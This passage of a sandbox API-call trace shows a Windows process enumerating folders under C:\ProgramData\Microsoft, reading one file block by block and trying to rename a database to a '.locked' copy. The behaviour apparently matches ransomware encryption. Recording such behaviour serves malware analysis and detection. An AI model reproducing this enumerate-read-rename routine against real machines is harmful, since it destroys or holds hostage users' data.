nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0129.097] GetFileType (hFile=0xc8) returned 0x1 [0129.098] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefee9460, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xefee9460, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0129.098] GetFileType (hFile=0xc8) returned 0x1 [0129.099] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefee9460, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xefee9460, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0129.248] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.locked" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.locked"), dwFlags=0x2) returned 0 [0129.248] GetLastError () returned 0x20 [0129.248] GetLastError () returned 0x20 [0129.249] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0066220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0066220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0129.250] GetFileType (hFile=0xc8) returned 0x1 [0129.251] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0066220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0066220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0129.253] GetFileType (hFile=0x120) returned 0x1 [0129.254] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf0066220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0066220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0129.254] GetFileType (hFile=0xc8) returned 0x1 [0129.255] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf0066220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0066220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0129.257] GetFileType (hFile=0xc4) returned 0x1 [0129.258] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf0066220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0066220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0129.261] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf008c380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf008c380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0129.261] GetFileType (hFile=0xd0) returned 0x1 [0129.262] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf008c380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf008c380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0129.263] GetFileType (hFile=0xd0) returned 0x1 [0129.264] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf008c380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf008c380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0129.267] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf008c380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf008c380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0129.268] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b0c8 | out: lpNewFilePointer=0x0) returned 1 [0129.268] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b07c | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b04c | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b04c | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.270] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.272] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.272] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.272] GetLastError () returned 0x0 [0129.272] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.272] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.273] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.273] GetLastError () returned 0x0 [0129.273] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.274] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.274] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.275] GetLastError () returned 0x0 [0129.275] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.275] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.275] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.275] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.276] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.276] GetLastError () returned 0x0 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.276] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.277] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.277] GetLastError () returned 0x0 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.277] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.278] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.278] GetLastError () returned 0x0 [0129.278] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.279] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.279] GetLastError () returned 0x0 [0129.279] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.280] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.280] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.281] GetLastError () returned 0x0 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.281] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.282] GetLastError () returned 0x0 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.282] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.282] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.283] GetLastError () returned 0x0 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.283] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.283] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.284] GetLastError () returned 0x0 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.284] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.284] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 